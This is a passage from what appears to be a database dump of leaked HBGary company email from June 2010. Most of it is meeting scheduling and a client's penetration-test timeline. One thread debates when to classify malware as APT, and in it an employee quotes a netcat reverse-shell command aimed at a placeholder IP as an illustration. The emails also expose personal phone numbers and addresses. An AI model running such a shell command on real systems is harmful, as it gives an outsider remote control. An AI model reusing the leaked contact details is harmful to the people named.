copy on a CD.  I have attached both a powerpoint and a PDF version.\r\n \r\n-Greg\r\n',3450,'aaron_hbgary_com/3450.html'),(7364,'2010-06-14','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297005383.M799101P14101Q2219.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,,,','Re: When to call APT and when not (on HBGary engagements)','I think it&#39;s pretty simple.  Is the malware part of an organized attack which allows an external party to accomplish their predetermined mission?  That mission could be data exfil, data destruction, malware plants for future use etc.\r\nIf I find &quot;nc -e cmd.exe 1.1.1.1 80&quot; tomorrow (where 1.1.1.1 is in mainland China)...guess what?  That netcat code written in 1998 is APT in my book.  Like Greg said in the original email here, it&#39;s not the code, it&#39;s the actors.  We need to keep reminding ourselves of this b/c it&#39;s not intuitive.\r\nOn Sun, Jun 13, 2010 at 8:44 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n \r\nWhat do you think of a simplied criteria --  Simply this: if the malware has C2 or exfils &quot;sensitive&quot; data, it&#39;s APT. &quot;Sensitive&quot; includes keylogging, email, files, passwords, or credentials.  &quot;Sensitive&quot; does NOT include online banking credentials, account numbers, or SSN&#39;s.\r\n\r\n\r\n \r\nTo elaborate, if there is C2 that means the malware can be driven by an attacker.  We can reverse engineer the C2 to determine capability, but most have the basic get/put/sleep/execute design pattern.  That means it&#39;s a potential vector for APT style attacks. If the malware doesn&#39;t have C2 but does exfil data that would be valuable for an APT style attack, it&#39;s APT. For example, if the malware is pre-programmed to exfiltrate data that would be valuable for APT style attacks, including keylogging, email, files, passwords, or credentials, it&#39;s APT.\r\n\r\n\r\nOn the other hand, if a malware is pre-programmed to do something like an automaton (with no C2), such as _only_ redirect ad-clicks to a competitor, or _only_ steal online banking identity, that does not involve exfil of sensitive information beyond banking/personal identity, then it&#39;s not APT.  The reason we would not consider personal identity as sensitive in this case is because customers will associate that with Russian mobsters and not Chinese APT.  However, if the exfil includes keylogging and such, it MUST be considered APT by this standard.\r\n\r\n\r\n \r\nIt should be noted that if we used the above as our definition, then most malware, including malware that is part of Russian botnets, will be considered APT.  This is because almost all malware, even Russian botnets, have generic C2, download-and-execute, in-field update, and keylogging.\r\n\r\n\r\n \r\n-G\r\n \r\nOn Sun, Jun 13, 2010 at 2:44 PM, Shawn Bracken &lt;shawn@hbgary.com&gt; wrote:\r\nIf we&#39;re going to use the term APT on the regular I think we should disambiguate it a little bit in our professional speak. I personally think that the term APT isn&#39;t descriptive enough because it doesn&#39;t effectively contain any verbage or variants that describe the current threat level of the package in question. I propose we consider something like the following set of terms: \r\n\r\nActive-APT: Any binary that directly or indirectly has the ability to recieve command and control commands from an KNOWN or UNKNOWN ACTIVE, INTERNET based controller that has NOT been blackholed internet-wide (This specifically includes any binary that contains any dynamic C&amp;C method that can still be activated in the future (dyndns, wheel-of-1000-webservers) should be called &quot;Active-APT&quot;\r\n\r\n\r\n\r\nDormant-APT: Any binary had the ability to recieve command and control messages at some point in time but who&#39;s C&amp;C INTERNET BASED controller is no longer online, blackholed, etc AND contains no mechanism to update to a new controller. These should be still cleaned up obviously - but are of a potentially lesser threat level than any ACTIVE-APT\r\n\r\n\r\n\r\nAPT Support Binary: An APT support binary is any binary that is used as a utility/helper binary of an APT package. These are binaries contain no direct C&amp;C capabilities themselves and\r\nare specifically data collection/mining applications like the &quot;update.exe&quot;. These binaries are specifically &quot;child&quot; binaries that often can get self-extracted as part of the APT setup. Also in this class would be re-installation EXE&#39;s that have no C&amp;C but specifically exist to re-install the main APT package if any of its components are detected as being removed.\r\n\r\n\r\n\r\nAPT-Worm: Any binary that a propogates automatically and contains either a C&amp;C capability OR if any evidence exists of it being targetted at specific groups\r\n\r\nNonAPT-Worm: Any binary that propogates automatically over the network but does NOT contain C&amp;C capabilities and is not explicitly targetted at the customer network in question\r\n\r\nAttacker Support Binary: This is any file found on the system that was uploaded by the attacker but that as far as we can tell is NOT part of the standard set of files dropped/used in every instance of the APT installation. Tools such as the pass the hash toolkit, uploaded port scanners, etc\r\n\r\n\r\n\r\nVirus: Any old-style self replecating, file system ONLY based code. Must NOT have any C&amp;C/exfiltration capabilites. \r\n\r\nThoughts? \r\n\r\n\r\n\r\nOn Sat, Jun 12, 2010 at 9:00 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n \r\nMike, team,\r\n \r\nHBGary services needs to have a concise definition of what they consider to be APT.  Since APT is associated with targeted attacks, then any malware that represents a pathway vector for a targeted attack should be considered APT. Remember, it&#39;s not the malware, its the human operating it.  Most of the time you can&#39;t say squat about who is operating it, so if the malware represents a potential vector of attack, then consider it APT - don&#39;t wait for the attacker to actually log in and steal something before the malware is considered APT.\r\n\r\n\r\n \r\nWe need to be careful about the lack of formal definition around the term APT.  I have seen numerous malware shrugged off as non-APT during the QNA engagement.  I have noticed an attitude about what APT is or is-not.  That is not a good road for us.  When we detect malware that can function as an attack tool, it should be considered APT and worthy of respect.  \r\n\r\n\r\n \r\nHere are some things I have noticed:\r\n- if the malware comes back with a &#39;label&#39; or &#39;name&#39; from an AV vendor on virustotal, there is an attitude that it&#39;s not APT\r\n- if the malware has generic attack tool capability, but is known by a popular botnet name, such as zues or conficker, it&#39;s not called APT (I have heard a customer say &#39;we don&#39;t care about zues&#39;)\r\n\r\n\r\n- one malware at QNA, based on Pinch, had a generic download-and-execute capability, but it was not considered APT.  The only reason it was not considered APT was because it was a &#39;named&#39; malware.  In all other respects it had the same capability as ntshrui.dll which _was_ considered APT.\r\n\r\n\r\n- the customer did not need &#39;proof&#39; that chinese hackers were using a malware to call it APT.  The ntshrui.dll was only a download-and-execute capability, and was not used, and it was considered APT.  If that constitutes the definition, then the pinch malware should have been called APT as well, because they were logically equivalent in terms of capability and usage.\r\n\r\n\r\n- in one case, terramark gave some ip&#39;s to QNA, which we followed up on to find it was just generic &#39;named&#39; malware, but because terramark gave the ip&#39;s the malware was considered APT\r\n \r\nIt&#39;s very clear that the customer will call it APT when we tell them it&#39;s APT - they have no ability to figure this out on their own.  So, we need to have rules about when to call it APT. \r\n \r\nWe have a good chance to test our criteria on a new suspicious DLL.  Do we call it APT or not?  Phil found a DLL that appears to be a trojan zip library.  The legitimate zip library was downloaded and compared by Martin, and the suspected trojan is completely different.  Furthermore, the suspected trojan is packed in exactly the same way as the iprinp and rasauto32 malware programs (both of which were called APT).  The suspected trojan is resisting analysis (both Martin and Greg tried) and we have been unable to REcon trace it, and it appears to be VM-aware.  At-a-glance analysis shows us it has many malware-like traits.  OK - so what criteria do we use to determine if this APT?\r\n\r\n\r\n \r\nHere are a spectrum of different options:\r\n - we don&#39;t want to waste any more money testing it, because it&#39;s clearly not the legit app, so it&#39;s good enough to call APT and get rid of it\r\n - only if we can determine it has generic download-and-execute capability, it&#39;s APT\r\n - only if we can determine it gets commands from a C2 server, regardless of country, it&#39;s APT\r\n - only if we can determine it gets commands from a C2 server in one of the chinese dyndns we are already aware of, call it APT\r\n - same as the above, but any C2 server in china is good enough to call it APT\r\n - we don&#39;t call it APT until we see chinamen logging into it and stealing ITAR data, then we call it APT and worry about it after that\r\n \r\nI think it&#39;s very important that HBGary put a formal line in the sand about what we consider APT, because the customer is expecting HBGary to tell THEM when it&#39;s APT.  They have no idea how to determine that themselves, so we certainly should _not_ be waiting for the customer to tell us what constitutes a worthy threat and what doesn&#39;t.  \r\n\r\n\r\n \r\nSorry for the long email, but I think this is important,\r\n-Greg\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n',12769,'aaron_hbgary_com/12769.html'),(7365,'2010-06-14','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297005384.M315258P14101Q2221.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Dates from LANL','Aaron -- thanks for taking the time to speak today. &nbsp;Here is the timeline that the client has shared with me...PR was to have been sent on 6/3.You have this week to review.We would need to make the award by 6/21 so that we could get started on the background check.We expect that to take 3 weeks.Jim Gore would be at training on 7/13 – 7/16.We finish up hardening and testing 7/19 – 7/26We would review testing with your folks &nbsp;on 7/28Your folks would be out here testing on the week of 8/9 – 8/13.We are assuming that you would be able to do the unix and app penetration testing simultaneously for both iRecruit and iSupplier during the same week.We would review test results on 8/16.We would then expect a written report on 8/30.- Ira',13863,'aaron_hbgary_com/13863.html'),(7366,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005384.M555077P14101Q2222.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Dates from LANL','Sent from my iPadBegin forwarded message:From: Ira Entis &lt;Ira.Entis@agilex.com&gt;\r\nDate: June 13, 2010 11:59:24 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Jerry McClure &lt;Jerry.McClure@agilex.com&gt;\r\nSubject: Dates from LANLAaron -- thanks for taking the time to speak today.  Here is the timeline that the client has shared with me...\r\nPR was to have been sent on 6/3.\r\nYou have this week to review.\r\nWe would need to make the award by 6/21 so that we could get started on the background check.\r\nWe expect that to take 3 weeks.\r\nJim Gore would be at training on 7/13 – 7/16.\r\nWe finish up hardening and testing 7/19 – 7/26\r\nWe would review testing with your folks  on 7/28\r\nYour folks would be out here testing on the week of 8/9 – 8/13.\r\nWe are assuming that you would be able to do the unix and app penetration testing simultaneously for both iRecruit and iSupplier during the same week.\r\nWe would review test results on 8/16.\r\nWe would then expect a written report on 8/30.\r\n- Ira\r\n',14662,'aaron_hbgary_com/14662.html'),(7367,'2010-06-14','\"Paul Nemirovsky\" <pauln@jdn-int.com>','/aaron@hbgary.com/new/1297005384.M65321P14101Q2220.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting','Aaron,\r\n&nbsp;\r\nMy 10 am meeting is canceled, so I could meet you at 11 am.&nbsp; Please confirm.&nbsp;&nbsp; My mobile -703-622-6115.\r\n&nbsp;\r\n&nbsp;\r\nregards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n&nbsp;\r\n--- On Thu, 6/10/10, Paul Nemirovsky &lt;pauln@jdn-int.com&gt; wrote:\r\nFrom: Paul Nemirovsky &lt;pauln@jdn-int.com&gt;Subject: Re: MeetingTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Date: Thursday, June 10, 2010, 3:26 PM\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;\r\nWe could meet at 11:15 am at this restaurant Monday.&nbsp;&nbsp;&nbsp; Please let me know if it works for you.\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n&nbsp;\r\n--- On Wed, 6/9/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: MeetingTo: pauln@jdn-int.comDate: Wednesday, June 9, 2010, 5:38 PM\r\nHow about: \r\n\r\n\r\n\r\nGunning\'s&nbsp;Seafood&nbsp;Restaurant?\r\n&nbsp;64 reviews&nbsp;-&nbsp;more info&nbsp;» \r\n\r\n\r\n\r\n\r\n\r\n7304 Parkway Dr\r\nHanover, Maryland 21076\r\n(410) 712-9404get=_blank rel=nofollow&gt;gunningsonline.com?\r\n\r\n\r\n\r\n\r\n\r\nI had lunch about 4 weeks ago with Tom Conroy, very good Crab Cakes. &nbsp;Is 11am ok?\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jun 9, 2010, at 4:23 PM, Paul Nemirovsky wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\nAaron,\r\n&nbsp;\r\nWe could meet anywhere it works for you.&nbsp; I do not know this area well.&nbsp; There is Hellas Restaurant in Millersville, if you like it.\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n___________________________________________________________\r\n&nbsp;--- On Tue, 6/8/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: MeetingTo: \"pauln@jdn-int.com\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 8, 2010, 5:08 PM\r\n\r\nPaul,\r\n\r\nThat sounds good. &nbsp;I have a 1pm in Columbia at the saic bldg. &nbsp;Do u know a good place?\r\n\r\nAaronFrom my iPhone\r\nOn Jun 8, 2010, at 4:53 PM, Paul Nemirovsky &lt;pauln@jdn-int.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;\r\nThank you for the note.&nbsp; Monday, 6/14 is fine.&nbsp; Would you like to get together for lunch in the area?\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul&nbsp; (703-622-6115 (m))--- On Tue, 6/8/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: MeetingTo: \"Dr. Paul Nemirovsky\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 8, 2010, 4:44 PM\r\n\r\n\r\n\r\n\r\n\r\nLinkedIn\r\nAaron Barr has sent you a message. \r\n\r\nDate: 6/08/2010 \r\n\r\nSubject: Meeting \r\n\r\nHi Paul, Do you have some time to meet on Monday? I have another meeting in the early afternoon in your area. Aaron \r\n\r\nView/reply to this message \r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings. \r\n\r\n© 2010, LinkedIn Corporation \r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13779,'aaron_hbgary_com/13779.html'),(7368,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005384.M797914P14101Q2223.eml','pauln@jdn-int.com','Re: Meeting','Hi Paul,I just sent you a tentative date change. &nbsp;I can meet on Thursday as well.AaronOn Jun 13, 2010, at 10:53 PM, Paul Nemirovsky wrote:Aaron,\r\n&nbsp;\r\nMy 10 am meeting is canceled, so I could meet you at 11 am.&nbsp; Please confirm.&nbsp;&nbsp; My mobile -703-622-6115.\r\n&nbsp;\r\n&nbsp;\r\nregards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n&nbsp;\r\n--- On Thu, 6/10/10, Paul Nemirovsky &lt;pauln@jdn-int.com&gt; wrote:\r\nFrom: Paul Nemirovsky &lt;pauln@jdn-int.com&gt;Subject: Re: MeetingTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Date: Thursday, June 10, 2010, 3:26 PM\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;\r\nWe could meet at 11:15 am at this restaurant Monday.&nbsp;&nbsp;&nbsp; Please let me know if it works for you.\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n&nbsp;\r\n--- On Wed, 6/9/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: MeetingTo: pauln@jdn-int.comDate: Wednesday, June 9, 2010, 5:38 PM\r\nHow about: \r\n\r\n\r\n\r\nGunning\'s&nbsp;Seafood&nbsp;Restaurant&lt;transparent.png&gt;?\r\n&lt;transparent.png&gt;&lt;transparent.png&gt;&lt;transparent.png&gt;&lt;transparent.png&gt;&lt;transparent.png&gt;&nbsp;64 reviews&nbsp;-&nbsp;more info&nbsp;» \r\n\r\n\r\n\r\n\r\n\r\n7304 Parkway Dr\r\nHanover, Maryland 21076\r\n(410) 712-9404get=_blank rel=nofollow&gt;gunningsonline.com?\r\n\r\n&lt;FJJKjW12nf5fmIxynCrAkjO4tZ4k24YfVPYe7wduY2BqRc5fzPV6-VPvTbIAHjABXdCyQ_aZQuaLzq-2I0Hkh1E9Lm67edpFCvhFf9o-A9SE6MLE1mJywMwSAjj0minSJODdV2ndcWxMEaS1bD5ta3VfTEYVY6Liq2zGXWgk.jpeg&gt;\r\n\r\n\r\n\r\nI had lunch about 4 weeks ago with Tom Conroy, very good Crab Cakes. &nbsp;Is 11am ok?\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jun 9, 2010, at 4:23 PM, Paul Nemirovsky wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\nAaron,\r\n&nbsp;\r\nWe could meet anywhere it works for you.&nbsp; I do not know this area well.&nbsp; There is Hellas Restaurant in Millersville, if you like it.\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n___________________________________________________________\r\n&nbsp;--- On Tue, 6/8/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: MeetingTo: \"pauln@jdn-int.com\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 8, 2010, 5:08 PM\r\n\r\nPaul,\r\n\r\nThat sounds good. &nbsp;I have a 1pm in Columbia at the saic bldg. &nbsp;Do u know a good place?\r\n\r\nAaronFrom my iPhone\r\nOn Jun 8, 2010, at 4:53 PM, Paul Nemirovsky &lt;pauln@jdn-int.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;\r\nThank you for the note.&nbsp; Monday, 6/14 is fine.&nbsp; Would you like to get together for lunch in the area?\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul&nbsp; (703-622-6115 (m))--- On Tue, 6/8/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: MeetingTo: \"Dr. Paul Nemirovsky\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 8, 2010, 4:44 PM\r\n\r\n\r\n\r\n\r\n\r\nLinkedInAaron Barr has sent you a message. \r\nDate: 6/08/2010 \r\nSubject: Meeting \r\nHi Paul, Do you have some time to meet on Monday? I have another meeting in the early afternoon in your area. Aaron \r\nView/reply to this message \r\nDon\'t want to receive e-mail notifications? Adjust your message settings. \r\n© 2010, LinkedIn Corporation \r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8567,'aaron_hbgary_com/8567.html'),(7369,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005385.M25355P14101Q2224.eml','\"Paczynski, Robert A.\" <ROBERT.A.PACZYNSKI@saic.com>','Re: Updated: Mtg With Aaron Barr (HBGary)','Bob,I apologize for any inconvenience. &nbsp;I need to try and reschedule our appointment today. &nbsp;I am giving a talk at the NSA REBL conference tomorrow on social networking and am just not as prepared as I want to be. &nbsp;Can we get together next week? &nbsp;I am headed down to the FIRST conference in Miami on Wednesday.AaronOn Jun 7, 2010, at 12:28 PM, Paczynski, Robert A. wrote:\r\n\r\nWhen: Monday, June 14, 2010 1:00 PM-1:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Bob\'s Office\r\n*~*~*~*~*~*~*~*~*~*\r\n &lt;&lt;Re: NANA&gt;&gt; \r\nBob Paczynski\r\n\r\n&nbsp;\r\n\r\nScience Applications International Corporation\r\n\r\nIntelligence and Information Solutions Business Unit\r\n\r\n6841 Benjamin Franklin Drive\r\n\r\nRoom 4031\r\n\r\nColumbia, MD&nbsp; 21046 \r\nTEL:&nbsp;&nbsp;&nbsp; (443) 367-7684\r\n\r\nCELL:&nbsp; (443) 286-0859\r\n\r\n\r\n\r\n&lt;meeting.ics&gt;From: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Date: June 7, 2010 10:55:05 AM EDTTo: \"Paczynski, Robert A.\" &lt;ROBERT.A.PACZYNSKI@saic.com&gt;Subject: Re: NANAgreat. &nbsp;How about Monday at 1pm?AaronOn Jun 7, 2010, at 9:46 AM, Paczynski, Robert A. wrote:Free between 2-4 pm this Friday or after noon either Monday or Tuesday,currently.BP-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, June 07, 2010 8:27 AMTo: Paczynski, Robert A.Subject: Re: NANABob,Sure that would be great. &nbsp;&nbsp;Are you available in the afternoon?AaronSent from my iPadOn Jun 7, 2010, at 8:07 AM, \"Paczynski, Robert A.\"&lt;ROBERT.A.PACZYNSKI@saic.com&gt; wrote:Aaron:Sorry for the delayed response. &nbsp;Do you have any time this Friday tomeet (... or next Monday or Tuesday)?? &nbsp;I leave next Wednesday for 3weeks and then won\'t be back until after the July 4th holiday.Not much in the way of staffing to discuss, but we can certainly talkcapabilities.Regards,Bob Paczynski, CISSPVice President/Manager, Cyber Analysis &amp; Security DivisionScience Applications International CorporationIntelligence and Information Solutions Business Unit6841 Benjamin Franklin DriveRoom 4031Columbia, MD &nbsp;21046TEL: &nbsp;&nbsp;&nbsp;(443) 367-7684FAX: &nbsp;&nbsp;&nbsp;(443) 367-7948CELL: &nbsp;(443) 286-0859EMAIL: &nbsp;Robert.A.Paczynski@saic.com-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Tuesday, June 01, 2010 11:21 AMTo: Paczynski, Robert A.Subject: NANAHi Robert,I am the CEO of HBGary Federal, the services sister company to HBGaryInc.. &nbsp;We specialize in incident response (malware analysis), threatintelligence, and information operations services. &nbsp;I was given yourcontact information from Mike Mulville. &nbsp;I spoke with Scott Sheldon aswell a little while back about NANA. &nbsp;Unfortunately we came late to theparty, we would have very much liked to have been on your team, but wejust started the services company in November. &nbsp;I would like to have abrief conversation with you whenever you are available about ourcompany. &nbsp;If there are positions you are having a difficult timefilling, or for potential future positions we would like to beconsidered.Thank You,Aaron BarrCEOHBGary Federal Inc.Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11953,'aaron_hbgary_com/11953.html'),(7370,'2010-06-14','\"Paczynski, Robert A.\" <ROBERT.A.PACZYNSKI@saic.com>','/aaron@hbgary.com/new/1297005385.M257401P14101Q2225.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Updated: Mtg With Aaron Barr (HBGary)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo problem, Aaron &#8230; how about the\r\nweek of 6 July, however, as I am out the next 3 weeks?\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\n&nbsp;\r\n\r\nBP\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, June 14, 2010 8:34\r\nAM\r\nTo: Paczynski, Robert A.\r\nSubject: Re: Updated: Mtg With\r\nAaron Barr (HBGary)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI apologize for any inconvenience. &nbsp;I need to try and reschedule\r\nour appointment today. &nbsp;I am giving a talk at the NSA REBL conference\r\ntomorrow on social networking and am just not as prepared as I want to be.\r\n&nbsp;Can we get together next week? &nbsp;I am headed down to the FIRST\r\nconference in Miami\r\non Wednesday.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 7, 2010, at 12:28 PM, Paczynski, Robert A. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen:\r\nMonday, June 14, 2010 1:00 PM-1:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere:\r\nBob\'s Office \r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n&lt;&lt;Re: NANA&gt;&gt; \r\n\r\nBob Paczynski \r\n&nbsp;\r\n\r\nScience\r\nApplications International Corporation \r\nIntelligence\r\nand Information Solutions Business Unit \r\n6841\r\nBenjamin Franklin Drive \r\nRoom\r\n4031 \r\nColumbia,\r\n MD&nbsp; 21046\r\n\r\n\r\nTEL:&nbsp;&nbsp;&nbsp; (443) 367-7684 \r\nCELL:&nbsp;\r\n(443) 286-0859 \r\n\r\n\r\n\r\n&lt;meeting.ics&gt;\r\n\r\n\r\n\r\nFrom: &quot;Aaron\r\nBarr&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate: June\r\n7, 2010 10:55:05 AM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo: &quot;Paczynski,\r\nRobert A.&quot; &lt;ROBERT.A.PACZYNSKI@saic.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: NANA\r\n\r\n\r\n\r\n\r\n\r\ngreat. &nbsp;How about Monday at 1pm?\r\n\r\nAaron\r\n\r\nOn Jun 7, 2010, at 9:46 AM, Paczynski, Robert A. wrote:\r\n\r\n\r\n\r\n\r\nFree between 2-4 pm this Friday or after noon either Monday or Tuesday,\r\n\r\n\r\n\r\ncurrently.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBP\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\n\r\n\r\n\r\n\r\nSent: Monday, June 07, 2010 8:27 AM\r\n\r\n\r\n\r\n\r\n\r\nTo: Paczynski, Robert A.\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: NANA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSure that would be great. &nbsp;&nbsp;Are you available in the\r\nafternoon?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 7, 2010, at 8:07 AM, &quot;Paczynski, Robert A.&quot;\r\n\r\n\r\n\r\n\r\n\r\n&lt;ROBERT.A.PACZYNSKI@saic.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry for the delayed response. &nbsp;Do you have any time this Friday\r\nto\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmeet (... or next Monday or Tuesday)?? &nbsp;I leave next Wednesday for\r\n3\r\n\r\n\r\n\r\n\r\n\r\nweeks and then won\'t be back until after the July 4th holiday.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot much in the way of staffing to discuss, but we can certainly talk\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ncapabilities.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Paczynski, CISSP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVice President/Manager, Cyber Analysis &amp; Security Division\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nScience Applications International Corporation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIntelligence and Information Solutions Business Unit\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n6841 Benjamin Franklin\r\n  Drive\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRoom 4031\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nColumbia,\r\n MD &nbsp;21046\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTEL: &nbsp;&nbsp;&nbsp;(443) 